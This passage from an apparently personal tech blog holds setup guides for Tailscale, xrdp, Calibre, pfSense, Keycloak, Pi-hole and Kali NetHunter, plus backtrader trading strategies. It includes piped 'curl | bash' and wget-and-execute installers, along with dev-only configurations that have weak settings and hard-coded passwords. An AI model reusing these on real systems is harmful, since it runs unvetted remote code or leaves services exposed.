    args = parser.parse_args()
    module_name = args.module
    directory = os.path.abspath(args.directory)

    if not os.path.isdir(directory):
        print(f"Error: Directory '{directory}' does not exist.")
        sys.exit(1)

    command = f"python -m {module_name}"
    runner = ModuleRunner(command, directory)

    handler = ModuleChangeHandler(runner.restart)
    observer = Observer()
    observer.schedule(handler, path=directory, recursive=True)

    runner.start()
    observer.start()

    print(f"📦 Watching module: {module_name}")
    print(f"📁 Watching directory: {directory}")
    print("🔄 Auto-restart on .py changes. Press Ctrl+C to exit.")

    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n👋 Exiting...")
        observer.stop()
        runner.stop()

    observer.join()


if __name__ == "__main__":
    main()

Usage:

python watch_module.py my_module.main -d .

Et voilà, aussi simple que cela.

Voici donc mon programme pour cette année 2025:

1. Investissements en immobilier

2. Créer mon propre Arduino avec un PCB maison #learn

3. Découvrir la découpe laser

4. Automatiser mon jardin hydroponique

5. Tester l’impression 3D avec filament soit disant aussi résistant que le métal

6. Créer un détecteur d’intrusion via de l’IA et autonome avec déclenchement de lacrymo ou fumigène

7. Créer un GUI en Rust

8. Développer ma nouvelle activité de f-CTO

9. Après les NFTs, il y a les dNFT. Creuser le sujet

10. Suivi de trading auto

11. Finir mon routeur solaire (plugin box domotique)

12. “Industrialiser” mon setup domotique

13. Lire un livre de développement perso

14. Construire un Server AI maison (LLM débridé + AI agents)

15. Créer un panneau de contrôle digne de ce nom pour ma box domotique

16. Créer un IMSI catcher passif (légal)

17. Lire un autre livre de trading

Installer Tailscale

sudo dnf install tailscale

Démarrer et activer Tailscale

sudo systemctl start tailscaled
sudo systemctl enable tailscaled

Connecter votre desktop à Tailscale

Editer le fichier sudo vim /etc/sysctl.conf:

net.ipv4.ip_forward = 1
net.ipv6.conf.all.forwarding = 1

Et appliquer les changements:

sudo sysctl -p

Lancer l’authentification

sudo tailscale up --advertise-exit-node

Troubleshooting

tailscale status

Update

Tailscale sera mis à jour automatiquement via dnf lors des mises à jour du système. Vous pouvez également le mettre à jour manuellement avec:

sudo dnf update tailscale

Installation

sudo dnf install -y xrdp
sudo systemctl enable xrdp --now

Configuration

sudo firewall-cmd --add-port=3389/tcp --permanent
sudo firewall-cmd --reload

Connexion

On finalise la configuration. On désactive Wayland:

Wayland est un protocole et une architecture de serveur d’affichage pour les systèmes d’exploitation basés sur Linux. Il remplace ou complète le serveur d’affichage X11 (ou X Window System) utilisé traditionnellement sur Linux depuis des décennies.

ssh -L 3389:localhost:3389 user@adresse_ip_fedora

Editer le fichier sudo nano /etc/gdm/custom.conf et ajouter la ligne suivante:

WaylandEnable=false

sudo systemctl restart gdm

GDM (pour GNOME Display Manager) est un gestionnaire de session et d’affichage utilisé principalement avec l’environnement de bureau GNOME

Utilisation

Pour prendre le contrôle de votre Fedora depuis OSX par exemple, installez Windows Apps depuis l’AppStore et configurez votre connexion avec vos credentials SSH + localhost:3389

Voici donc un tip pour simuler dans des tests unitaires la déconnexion d’internet. Il suffit de créer la fixture pytest suivante et de l’appeler dans vos tests.

En pré-requis, il suffit d’installer le package pytest-network.

import pytest
import socket

_original_connect = socket.socket.connect


def patched_connect(*args, **kwargs):
    ...
    # It depends on your testing purpose
    # You may want a exception, add here
    # If you test unconnectable situations
    # it can stay like this


@pytest.fixture
def enable_network():
    socket.socket.connect = _original_connect
    yield
    socket.socket.connect = patched_connect


@pytest.fixture
def disable_network():
    socket.socket.connect = patched_connect
    yield
    socket.socket.connect = _original_connect

Testé et approuvé, très utile en ce qui me concerne.

Installation

Installer Container Manager depuis le Package Center.

Depuis File Station, ouvrir le dossier docker dans le menu de gauche. A l’intérieur de ce dossier docker, créer un nouveau dossier appelé calibre.

Créer un User-defined script permettant de démarrer le container Calibre Web. Pour se faire, aller dans Control Panel / Task Scheduler / Create / Scheduled Task / User-defined script puis créer la tâche dans la fenêtre qui s’ouvre comme ceci:

1. General: Dans le champ Task entrer Install Calibre. Décochez le bouton Enabled et sélectionner l’utilisateur root.
2. Schedule: Sélectionner Run on the following date et sélectionner Do not repeat.
3. Task Settings: Cocher Send run details by email, ajouter votre email et copier coller le code suivant dans la section Run avant de cliquer sur OK.

docker run -d --name=calibre \
-p 7080:8080 \
-p 7081:8081 \
-e PUID=0 \
-e PGID=0 \
-e TZ=Europe/Paris \
-e CUSTOM_USER=calibre \
-e PASSWORD=password_for_calibre \
-v /volume1/docker/calibre:/config \
--security-opt seccomp=unconfined \
--restart always \
ghcr.io/linuxserver/calibre

Vérification

Démarrer la task puis rendez-vous à l’adresse suivante: http://Synology-ip-address:7080

Hypothèses

• Serveur à l’adresse IP: 192.168.1.10
• Ordinateur autorisé à accéder à l’adresse IP: 192.168.1.20
• Réseau local (LAN) est 192.168.1.0/24
• Le serveur et l’ordinateur autorisé sont tous les deux sur l’interface LAN de pfSense.

Configuration

1. Accéder à l’interface de pfSense :

Connectez-vous à l’interface web de pfSense via https://<ip_de_pfSense>.

2. Accéder à la configuration du pare-feu :

• Allez dans Firewall > Rules.
• Sélectionnez l’interface LAN (ou l’interface appropriée si vos appareils sont sur une autre interface).

3. Créer une règle d’autorisation pour l’ordinateur autorisé :

• Cliquez sur Add pour ajouter une nouvelle règle.

• Configurez la règle comme suit:

  • Action: Pass
  • Interface: LAN
  • Address Family: IPv4
  • Protocol: Any (ou choisissez un protocole spécifique si nécessaire, comme TCP)
  • Source: Single host or alias, puis entrez 192.168.1.20 (IP de l’ordinateur autorisé)
  • Destination: Single host or alias, puis entrez 192.168.1.10 (IP du serveur)
  • Description: Entrez une description comme Autoriser accès à 192.168.1.10 depuis 192.168.1.20

• Cliquez sur Save pour enregistrer la règle.

• Cliquez sur Apply Changes pour appliquer la règle.

4. Bloquer l’accès pour tous les autres appareils:

• Ajoutez une nouvelle règle sous celle que vous venez de créer.
• Configurez la règle comme suit:
  • Action: Block
  • Interface: LAN
  • Address Family: IPv4
  • Protocol: Any (ou choisissez un protocole spécifique)
  • Source: LAN net (ou choisissez Any si vous souhaitez bloquer tout le trafic)
  • Destination: Single host or alias, puis entrez 192.168.1.10 (IP du serveur)
  • Description: Entrez une description comme Bloquer accès à 192.168.1.10 pour tous sauf 192.168.1.20
• Cliquez sur Save pour enregistrer la règle.
• Cliquez sur Apply Changes pour appliquer la règle.

Important: Ordre des règles

Assurez-vous que la règle qui autorise l’accès depuis l’ordinateur autorisé (Pass) est placée avant la règle qui bloque tout le monde (Block). L’ordre des règles est crucial dans pfSense, car les règles sont évaluées de haut en bas.

Tester la configuration

Depuis l’ordinateur autorisé (192.168.1.20), essayez d’accéder au serveur (192.168.1.10). Vous devriez avoir accès. Depuis un autre ordinateur sur le réseau (192.168.1.X), essayez d’accéder au serveur. L’accès devrait être refusé.

Autre

• Vous pouvez surveiller le trafic et voir les logs dans Status > System Logs > Firewall pour vérifier si les règles fonctionnent comme prévu.
• Pour des configurations plus avancées, envisagez d’utiliser des alias dans pfSense, ce qui permet de simplifier la gestion des règles.

Cette configuration garantit que seul l’ordinateur spécifié peut accéder au serveur, tout en bloquant tous les autres appareils du réseau local.

Installation

Via Docker compose

x-logging: &logging
  driver: "json-file"
  options:
    max-size: "10m"
    max-file: "3"

services:
  postgres:
    image: postgres:${POSTGRES_VERSION}
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "pg_isready", "-U", "keycloak"]
    environment:
      POSTGRES_DB: keycloak
      POSTGRES_USER: keycloak
      POSTGRES_PASSWORD: password
    volumes:
      - type: tmpfs
        target: /var/lib/postgresql/data
        tmpfs:
          size: 100000000
    logging: *logging

  keycloak:
    image: quay.io/keycloak/keycloak:${KC_VERSION}
    command: ["start-dev", "--import-realm"]
    restart: unless-stopped
    environment:
      KC_DB: postgres
      KC_DB_USERNAME: keycloak
      KC_DB_PASSWORD: password
      KC_DB_URL: "jdbc:postgresql://postgres:5432/keycloak"
      KC_METRICS_ENABLED: true
      KC_LOG_LEVEL: ${KC_LOG_LEVEL}
      KC_REALM_NAME: ${KC_REALM_NAME}
      KC_BOOTSTRAP_ADMIN_USERNAME: ${KEYCLOAK_ADMIN}
      KC_BOOTSTRAP_ADMIN_PASSWORD: ${KEYCLOAK_ADMIN_PASSWORD}
      GF_URL: ${GF_HOSTNAME}:${GF_SERVER_HTTP_PORT}
      GF_ADMIN_USERNAME: ${GF_ADMIN_USERNAME}
      GF_ADMIN_PASSWORD: ${GF_ADMIN_PASSWORD}
    ports:
      - ${KC_PORT}:8080
    volumes:
      - ./keycloak/realm.json:/opt/keycloak/data/import/realm.json:ro
    logging: *logging

  prometheus:
    image: prom/prometheus:${PROMETHEUS_VERSION}
    command:
      - '--config.file=/etc/prometheus/prometheus.yml'
      - '--storage.tsdb.path=/prometheus'
      - '--storage.tsdb.retention.time=30d'
      - '--storage.tsdb.wal-compression'
      - '--web.enable-lifecycle'
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "wget", "--tries=1", "--spider", "http://localhost:9090/-/healthy"]
    ports:
      - ${PROMETHEUS_PORT}:9090
    volumes:
      - ./prometheus/prometheus.yml:/etc/prometheus/prometheus.yml:ro
    logging: *logging

  grafana:
    image: grafana/grafana-oss:${GF_VERSION}
    restart: unless-stopped
    ports:
      - ${GF_SERVER_HTTP_PORT}:${GF_SERVER_HTTP_PORT}
    healthcheck:
      test: ["CMD", "wget", "--spider", "http://localhost:${GF_SERVER_HTTP_PORT}/api/health"]
    environment:
      GF_SERVER_HTTP_PORT: ${GF_SERVER_HTTP_PORT}
      GF_SERVER_ROOT_URL: ${GF_HOSTNAME}:${GF_SERVER_HTTP_PORT}
      GF_LOG_LEVEL: ${GF_LOG_LEVEL}
      GF_AUTH_BASIC_ENABLED: true
      GF_AUTH_DISABLE_LOGIN_FORM: true
      GF_AUTH_GENERIC_OAUTH_TLS_SKIP_VERIFY_INSECURE: true
      GF_AUTH_GENERIC_OAUTH_ENABLED: true
      GF_AUTH_GENERIC_OAUTH_NAME: Keycloak
      GF_AUTH_GENERIC_OAUTH_ALLOW_SIGN_UP: true
      GF_AUTH_GENERIC_OAUTH_CLIENT_ID: "grafana"
      GF_AUTH_GENERIC_OAUTH_EMAIL_ATTRIBUTE_NAME: "email:primary"
      GF_AUTH_GENERIC_OAUTH_SCOPES: "openid profile email"
      GF_AUTH_GENERIC_OAUTH_AUTH_URL: ${KC_HOSTNAME}:${KC_PORT}/realms/${KC_REALM_NAME}/protocol/openid-connect/auth
      GF_AUTH_GENERIC_OAUTH_TOKEN_URL: http://keycloak:${KC_PORT}/realms/${KC_REALM_NAME}/protocol/openid-connect/token
      GF_AUTH_GENERIC_OAUTH_API_URL: ${KC_HOSTNAME}:${KC_PORT}/realms/${KC_REALM_NAME}/protocol/openid-connect/userinfo
    volumes:
      - ./grafana/dashboards:/etc/grafana/provisioning/dashboards:ro
      - ./grafana/datasources:/etc/grafana/provisioning/datasources:ro
    logging: *logging

Obviously it’s not the config for your prod environment.

Configuration

Option 1: configuration via GUI

Go to http://localhost:8080/ and login using admin/keycloak credentials.

1. Create a new realm: realm_test
2. On realm settings -> login check Email as username.
3. Create a new client and select:
   • Client type: OpenID Connect
   • Clent ID: test_config
   • Name: test_config
   • Client authentication: Off
   • Authorization: Off
   • Authentication Flow: Standard flow + Direct access grants
   • Web origins: * (for CORS -> We don’t care in dev)
4. Create a user: olivier.olivier@example.com with email verified and set a non temporary password olivierolivier.

Option 2: configuration via curl

Get admin token

export TOKEN=$(curl -s -X POST \
  "http://localhost:8080/realms/master/protocol/openid-connect/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=admin" \
  -d "password=keycloak" \
  -d "grant_type=password" \
  -d "client_id=admin-cli" | jq -r .access_token)

realm creation:

curl -X POST "http://localhost:8080/admin/realms" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "realm": "myrealm",
    "enabled": true,
    "registrationEmailAsUsername": true
  }'

Create a new client_id (warning it is permissive as webOrigins & redirectUris are equal to *)

curl -X POST "http://localhost:8080/admin/realms/myrealm/clients" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "clientId": "myrealm_client_id",
    "name": "myrealm_client_id",
    "protocol": "openid-connect",
    "publicClient": true,
    "authorizationServicesEnabled": false,
    "standardFlowEnabled": true,
    "directAccessGrantsEnabled": true,
    "implicitFlowEnabled": false,
    "serviceAccountsEnabled": false,
    "webOrigins": ["*"],
    "redirectUris": ["*"]
  }'

Create a user

curl -X POST "http://localhost:8080/admin/realms/myrealm/users" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
        "username": "user",
        "email": "user@example.com",
        "enabled": true,
        "emailVerified": true,
        "firstName": "Papa",
        "lastName": "Example"
  }'

Get user id

USER_ID=$(curl -s -X GET "http://localhost:8080/admin/realms/myrealm/users?username=user" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" | jq -r '.[0].id')

Set password

curl -X PUT "http://localhost:8080/admin/realms/myrealm/users/$USER_ID/reset-password" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "password",
    "value": "password",
    "temporary": false
  }'

Login/ Verify config OK

Verify you can connect using your newly created account on the realm.

To do so go to http://localhost:8080/realms/myrealm/protocol/openid-connect/auth?client_id=account-console and try to login using the UI.

If it’s ok let’s try to get an access_token using the REST API:

curl -X POST "http://localhost:8080/realms/myrealm/protocol/openid-connect/token" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "client_id=test_config" \
     -d "grant_type=password" \
     -d "username=user@example.com" \
     -d "password=password" \
     -d "scope=openid"

If you get a response like this you are all set:

{"access_token":"eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJqaTNPRHRHS0tmcW9XNHVtOGptN1p4eVVUU3NxMGFEWFJJSnYtZGRNQXZ3In0.eyJleHAiOjE3MzE1MzQ2MzksImlhdCI6MTczMTUzNDMzOSwianRpIjoiMGQ4NDRjNWQtZGRhYi00YTg1LTljMjItY2FjNTg0NWI4NWU5IiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwL3JlYWxtcy90ZV9kaXJlIiwiYXVkIjoiYWNjb3VudCIsInN1YiI6ImUzYzhkZjM2LWY3NmEtNDc4OC05OWM1LWU0N...

Extract your access_token and now try to retrieve your account personal info:

curl -X GET "http://localhost:8080/realms/myrealm/protocol/openid-connect/userinfo" \
     -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJqaTNPRHRHS0tmcW9XNHVtOGptN1p4eVVUU3NxMGFEWFJJSnYtZGRNQXZ3In0.eyJleHAiOjE3MzE1MzQ2MzksImlhdCI6MTczMTUzNDMzOSwianRpIjoiMGQ4NDRjNWQtZGRhYi00YTg1LTljMjItY2FjNTg0NWI4NWU5IiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwL3JlYWxtcy90ZV9kaXJlIiwiYXVkIjoiYWNjb3VudCIsInN1YiI6ImUzYzhkZjM2LWY3NmEtNDc4OC05OWM1LWU0N..."

If you get a response like the one below, it means Keycloak is properly configured for your development environment. You can then place it in front of your API and use it in your app to log in your users.

{"sub":"e3c8df36-f76a-4788-99c5-e45553d71893","email_verified":true,"name":"Olivier Olivier","preferred_username":"olivier.olivier@example.com","given_name":"Olivier","family_name":"Olivier","email":"olivier.olivier@example.com"}%

Create an account in a non admin realm via the API

Python code example:

# Get an admin token using the master realm and then execute something like:
url = f"{settings.keycloak_base_url}/admin/realms/{settings.keycloak_realm}/users"
headers = {
    "Authorization": f"Bearer {admin_token}",
    "Content-Type": "application/json",
}
user_data = {
    "username": email,
    "email": email,
    "firstName": first_name,
    "lastName": last_name,
    "enabled": enabled,
    "credentials": [
        {
            "type": "password",
            "value": "olivierolivier2",
            "temporary": False,
        }
    ],
}
response = requests.post(url, headers=headers, data=json.dumps(user_data))
if response.status_code == 201:
  ...
# You get the idea...

cat /etc/fstab

And have a look at the line with your root filesystem.

From there we have 3 possibilities:

• If the line starts with UUID=xyz, then it means it is a physical partition.
• If the line starts with /dev/sdaX, it is a physical partition.
• The indicator for LVM would be something with /dev/mapper/xyz.

You can also check in the mounts and fstab using this command:

if  grep -Pq '/dev/(mapper/|disk/by-id/dm)' /etc/fstab  ||  mount | grep -q /dev/mapper/
then
    echo "LVM in use"
fi

(Between 2 baby’s bottles) I am going to explain how to install Kali Nethunter on an Android phone not rooted. The procedure is quite simple. Without further ado let’s see how to do it.

Prerequisites

• Android 13+
• Termux installed
• Android developer mode enabled

Installation

On termux execute the following commands:

pkg update -y
termux-setup-storage
pkg install wget
wget -O install-nethunter-termux https://offsec.ec/2MceZWr
chmod +x install-nethunter-termux
./install-nethunter-termux

Then on the installation page KALI select option 1 to have a full installation.

Then for the question “Delete downloaded rootfs file” -> Select “no”.

Kix dbus error

Fix the DNS server by editing the /etc/resolv.conf file. Change the local IP (or 9.9.9.9) by Google’s DNS IP or use another DNS service provider. So set nameserver 8.8.8.8 Then run apt update And install the package apt install dbus-x11

Finally open the settings of your Android phone and go to developer options. Enable Disable child process restrictions.

Kali NetHunter Desktop Experience (KeX) installation

Go back to Termux. Exit your current session if you already ran nh -r and run the command nh kex.

Now download Kali nethunter app store. To do so go to https://store.nethunter.com/en and click the download button. Install the APK using the package manager and open the store F-Droid. From there search nethunter kex using the magnifier and install Nethunter keX bVNC.

Load KeX from Android

Open Nethunter Kex using the newly created icon and create a new connection. Let localhost as host and 5900 as port and set your password. On the small screen of my Pixel Kali’s GUI is not very usable but apparently it is possible to output the screen to an external cable using a OTG cable or a USB cable directly.

To stop kex you will need to open a new session in Termux and execute the command nh kex stop.

pkg upgrade
pkg install openssh
passwd
whoami
sshd -e -d -d -d

On OSX:

# ssh username@<android_ip> -p8022
# ssh u0_412@<........> -p8022

To kill the server:

pkill sshd

sshd: no hostkeys available – exiting ssh-keygen -A

Bonus

pkg install termux-api

Pré-requis

• A Raspberry Pi 2 connected to internet
• A fresh Debian 11 installation

OS preparation

sudo apt update
sudo apt upgrade -y
# Grab a large coffee. It takes forever...
sudo reboot
sudo apt install curl -y

Pi Hole installation

curl -sSL https://install.pi-hole.net | bash

        .;;,.
        .ccccc:,.
         :cccclll:.      ..,,
          :ccccclll.   ;ooodc
           'ccll:;ll .oooodc
             .;cll.;;looo:.
                 .. ','.
                .',,,,,,'.
              .',,,,,,,,,,.
            .',,,,,,,,,,,,....
          ....''',,,,,,,'.......
        .........  ....  .........
        ..........      ..........
        ..........      ..........
        .........  ....  .........
          ........,,,,,,,'......
            ....',,,,,,,,,,,,.
               .',,,,,,,,,'.
                .',,,,,,'.
                  ..'''.

Write the admin password somewhere and checks everything is alright: http://your_pi_network_ip/admin

You should see something like this:

Tailscale installation

curl -fsSL https://pkgs.tailscale.com/stable/debian/bullseye.noarmor.gpg | sudo tee /usr/share/keyrings/tailscale-archive-keyring.gpg >/dev/null
curl -fsSL https://pkgs.tailscale.com/stable/debian/bullseye.tailscale-keyring.list | sudo tee /etc/apt/sources.list.d/tailscale.list
sudo apt-get update
sudo apt-get install tailscale

Edit the file /etc/sysctl.d/99-tailscale.conf and add the following lines:

net.ipv4.ip_forward = 1
net.ipv6.conf.all.forwarding = 1

Start Tailscale

sudo tailscale up --accept-dns=false --advertise-exit-node --advertise-routes=192.168.68.0/24
# Get IP
tailscale ip -4
Reboot to make sure everything is fine

Test

Grab your phone and use a 4G/5G network for this test. Connect to tailscale from your phone. Once connected (and your connection is approved in Tailscale admin panel) browser internet. It should not work. Now we are going to configure PiHole and let all interfaces connect to internet.

Configure PiHole

In the Pi-hole Admin page go to Settings > DNS and make sure that Listen on all interfaces or permit all origins is selected.

Last Test

Now that PiHole is configure make sure you are still connected to your Tailscale network. Browse any web page. You should be able to retrieve the internet content and it should have be delivered after PiHole has resolved the DNS. Go back to PiHole admin panel and you should see that the amount of total queries inscreased. You are all set.

Pré-requis

pip install Pyarrow==15.0.0 pandas==2.2.0 backtrader==1.9.78.123 matplotlib==3.8.2

import math
import pandas as pd
import backtrader as bt
import ccxt

# Charger les données historiques depuis Binance
exchange = ccxt.binance(
    {
        "apiKey": "",
        "secret": "",
    }
)

symbol = "ETH/USDT"
timeframe = "1h"

ohlcv = exchange.fetch_ohlcv(symbol, timeframe)
df = pd.DataFrame(
    ohlcv, columns=["timestamp", "open", "high", "low", "close", "volume"]
)
df["timestamp"] = pd.to_datetime(df["timestamp"], unit="ms")
df.set_index("timestamp", inplace=True)


# Définir la stratégie
class MovingAverageCrossStrategy(bt.Strategy):
    params = (
        ("short_period", 20),
        ("long_period", 50),
    )

    def __init__(self):
        self.short_ma = bt.indicators.SimpleMovingAverage(
            self.data.close, period=self.params.short_period
        )
        self.long_ma = bt.indicators.SimpleMovingAverage(
            self.data.close, period=self.params.long_period
        )
        self.crossover = bt.indicators.CrossOver(self.short_ma, self.long_ma)

    def next(self):
        if self.crossover > 0:
            # Signal d'achat
            self.buy()
        elif self.crossover < 0:
            # Signal de vente
            self.sell()


# Convertir les données pandas en format compréhensible par backtrader
data = bt.feeds.PandasData(dataname=df)

# Configurer le cerveau du backtest
cerebro = bt.Cerebro()
cerebro.adddata(data)
cerebro.addstrategy(MovingAverageCrossStrategy)

# Ajouter un observer pour afficher les gains/pertes
cerebro.addobserver(bt.observers.Value)

# Paramètres du backtest
start_date = pd.to_datetime("2022-01-01")
end_date = pd.to_datetime("2022-12-31")
cerebro.run(stdstats=False, tradehistory=True, fromdate=start_date, todate=end_date)

# Afficher les gains/pertes
final_portfolio_value = cerebro.broker.getvalue()
print(f"Capital final: {final_portfolio_value} USDT")
cerebro.plot()

Stratégie Mean Reversion:

# Définir la stratégie
class MeanReversionStrategy(bt.Strategy):
    params = (
        ('rsi_period', 14),
        ('rsi_overbought', 70),
        ('rsi_oversold', 30),
        ('bbands_period', 20),
        ('bbands_dev', 2),
    )

    def __init__(self):
        self.rsi = bt.indicators.RelativeStrengthIndex(period=self.params.rsi_period)
        self.bbands = bt.indicators.BollingerBands(period=self.params.bbands_period, devfactor=self.params.bbands_dev)

    def next(self):
        if self.rsi < self.params.rsi_oversold and self.data.close < self.bbands.lines.bot:
            # Conditions d'achat
            self.buy()

        elif self.rsi > self.params.rsi_overbought and self.data.close > self.bbands.lines.top:
            # Conditions de vente
            self.sell()

Dans cette stratégie, des signaux d’achat sont générés lorsque le RSI est en zone de survente et que le prix est en dessous de la bande inférieure de Bollinger. Des signaux de vente sont générés lorsque le RSI est en zone de surachat et que le prix est au-dessus de la bande supérieure de Bollinger.

Stratégie Ichimoku:

class Ichimoku(bt.Strategy):

    def __init__(self):

        self.ichimoku = bt.indicators.Ichimoku()
   
    def next(self):

         if not self.position and self.ichimoku.lines.senkou_span_a > self.ichimoku.lines.senkou_span_b: 
            amount_to_invest = (0.95 * self.broker.cash)
            self.size = math.floor(amount_to_invest / self.data.close)

            print("Buy {} shares at {}".format(self.size, self.data.close[0]))
            self.buy(size=self.size)

         if self.position and self.ichimoku.lines.senkou_span_a < self.ichimoku.lines.senkou_span_b:
            print("Sell {} shares at {}".format(self.size, self.data.close[0]))
            self.close()

Aucun paramètre spécifique n’est fourni à l’indicateur, ce qui signifie que les valeurs par défaut des périodes Ichimoku sont utilisées (9, 26, 52).

La fonction next est appelée à chaque barre de prix. La stratégie vérifie d’abord si elle n’a pas de position (not self.position) et si la ligne Senkou Span A est au-dessus de la ligne Senkou Span B. Si ces conditions sont remplies, cela signifie que la tendance est à la hausse, et un signal d’achat est généré. En cas de signal d’achat, la stratégie calcule la quantité d’actions à acheter en fonction de 95% du capital disponible (0.95 * self.broker.cash) et achète ces actions en utilisant la fonction self.buy. Ensuite, la stratégie vérifie si elle a déjà une position (self.position) et si la ligne Senkou Span A est en dessous de la ligne Senkou Span B. Si ces conditions sont remplies, cela signifie que la tendance est à la baisse, et un signal de vente est généré. En cas de signal de vente, la stratégie ferme la position en utilisant la fonction self.close.

Stratégie Aroon:

La stratégie Aroon est basée sur l’utilisation des indicateurs Aroon, qui sont conçus pour mesurer la force de la tendance et identifier les périodes de consolidation ou de retournement de tendance sur un marché financier. Les indicateurs Aroon se composent de deux lignes principales : Aroon Up et Aroon Down.

Aroon Up (Aroon Haut) : Mesure le nombre de périodes écoulées depuis le plus haut récent.

Aroon Down (Aroon Bas) : Mesure le nombre de périodes écoulées depuis le plus bas récent.

La stratégie Aroon utilise ces deux indicateurs pour générer des signaux de trading. Voici comment interpréter les signaux Aroon dans une stratégie de base :

Signal d’Achat (Aroon Up fort) : Lorsque l’Aroon Up est élevé, cela indique que la tendance à la hausse est forte. Un signal d’achat est généré lorsque l’Aroon Up traverse à la hausse l’Aroon Down.

Signal de Vente (Aroon Down fort) : Lorsque l’Aroon Down est élevé, cela indique que la tendance à la baisse est forte. Un signal de vente est généré lorsque l’Aroon Down traverse à la hausse l’Aroon Up.

Période de Consolidation (Aroon Up et Aroon Down faibles) : Si les deux Aroon Up et Aroon Down sont faibles, cela indique une période de consolidation où le marché ne montre pas de tendance claire. Certains traders choisissent d’éviter de prendre des positions pendant ces périodes.

class AroonStrategy(bt.Strategy):

    params = (("upperband", 99), ("lowerband", -99), ("order_percentage", 0.95))

    def __init__(self):
        self.Aroon = bt.indicators.AroonOscillator(self.data, period=14)

    def next(self):
        if not self.position and self.Aroon < self.params.lowerband:
            amount_to_invest = self.params.order_percentage * self.broker.cash
            self.size = math.floor(amount_to_invest / self.data.close)

            print("Buy {} shares  at {}".format(self.size, self.data.close[0]))
            self.buy(size=self.size)

        if self.position and self.Aroon > self.params.upperband:
            print("Sell {} shares  at {}".format(self.size, self.data.close[0]))
            self.close()

Stratégie Buy and Hold:

class BuyHoldStrategy(bt.Strategy):

    def next(self):
        if self.position.size == 0:
            amount_to_invest = 0.95 * self.broker.getcash()
            size = math.floor(amount_to_invest / self.data)
            print("Buy {} shares at {}".format(size, self.data.close[0]))
            self.buy(size=size)

Stratégie Golden cross:

La stratégie Golden Cross est une approche de trading basée sur l’identification d’un signal lorsque deux moyennes mobiles se croisent à la hausse. C’est une stratégie populaire dans l’analyse technique et est souvent utilisée pour repérer des changements potentiels dans la tendance d’un actif financier.

Voici comment fonctionne la stratégie Golden Cross:

1. Moyenne Mobile à Court Terme (Short-Term Moving Average):

Une moyenne mobile à court terme est calculée en prenant la moyenne des prix de clôture sur une période relativement courte. Cette moyenne mobile réagit plus rapidement aux fluctuations des prix.

2. Moyenne Mobile à Long Terme (Long-Term Moving Average):

Une moyenne mobile à long terme est calculée de manière similaire, mais sur une période plus longue. Cette moyenne mobile réagit plus lentement aux changements de prix.

3. Signal d’Achat - Golden Cross:

Un signal d’achat est généré lorsque la moyenne mobile à court terme (plus rapide) croise à la hausse la moyenne mobile à long terme (plus lente). Ce point de croisement est souvent appelé un “Golden Cross” (croix dorée). Le Golden Cross indique un potentiel changement dans la dynamique du marché, suggérant que la tendance pourrait passer d’une tendance baissière à une tendance haussière.

4. Signal de Vente - Death Cross:

À l’inverse, un signal de vente, souvent appelé “Death Cross” (croix de la mort), se produit lorsque la moyenne mobile à court terme croise à la baisse la moyenne mobile à long terme. Cela peut indiquer un potentiel changement de tendance à la baisse. La stratégie Golden Cross est souvent utilisée comme indicateur de confirmation de tendance. Cependant, il est important de noter que les signaux générés par cette stratégie peuvent parfois être retardés, et il existe des périodes où ils peuvent être trompeurs, surtout dans des marchés instables.

class GoldenCrossStrategy(bt.Strategy):
    params = (('sma_50', 50), ('sma_200', 200), ('order_percentage', 0.95))

    def __init__(self):
        # Create 50 SMA
        self.sma_moving_average_50 = bt.indicators.SMA(
            self.data.close, period=self.params.sma_50, plotname='50 day moving average'
        )

        # Create 200 SMA
        self.sma_moving_average_200 = bt.indicators.SMA(
            self.data.close, period=self.params.sma_200, plotname='200 day moving average'
        )

        # Create crossover using the SMA's
        self.crossover = bt.indicators.CrossOver(self.sma_moving_average_50, self.sma_moving_average_200)

    def next(self):

        # Open trade
        if self.position.size == 0:
            if self.crossover > 0:
                amount_to_invest = (self.params.order_percentage * self.broker.cash)
                self.size = math.floor(amount_to_invest / self.data.close)

                print("Buy {} shares at {}".format(self.size, self.data.close[0]))
                self.buy(size=self.size)
        
        # Close trade
        if self.position.size > 0:
            if self.crossover < 0:      
                print("Sell {} shares at {}".format(self.size, self.data.close[0]))
                self.close()

EMA Stratégie:

class EMAStrategy(bt.Strategy):
    params = (
        ("short_period", 20),
        ("long_period", 50),
    )

    def __init__(self):
        self.short_ema = bt.indicators.ExponentialMovingAverage(
            self.data.close, period=self.params.short_period
        )
        self.long_ema = bt.indicators.ExponentialMovingAverage(
            self.data.close, period=self.params.long_period
        )

    def next(self):
        if self.short_ema > self.long_ema:
            # Condition d'achat pour la stratégie EMA
            self.buy()

        elif self.short_ema < self.long_ema:
            # Condition de vente pour la stratégie EMA
            self.sell()

SMA Stratégie:

class SMAStrategy(bt.Strategy):

    def __init__(self):
        self.sma = bt.indicators.SMA()

    def next(self):
        if not self.position and self.data > self.sma.lines.sma: 
           amount_to_invest = (0.95 * self.broker.cash)
           self.size = math.floor(amount_to_invest / self.data.close)

           print("Buy {} shares at {}".format(self.size, self.data.close[0]))
           self.buy(size=self.size)

        if self.position and self.data < self.sma.lines.sma:
                print("Sell {} shares at {}".format(self.size, self.data.close[0]))
                self.close()

Stratégie RMI:

class RMI(bt.Strategy):
    
    params = (('upperband', 70.0), ('lowerband', 30.0), ('order_percentage', 0.95))

    def __init__(self):
        self.rmi = bt.indicators.RMI(self.data, period=20)

    def next(self):
        if not self.position and self.rmi < self.params.lowerband: 
           amount_to_invest = (self.params.order_percentage * self.broker.cash)
           self.size = math.floor(amount_to_invest / self.data.close)

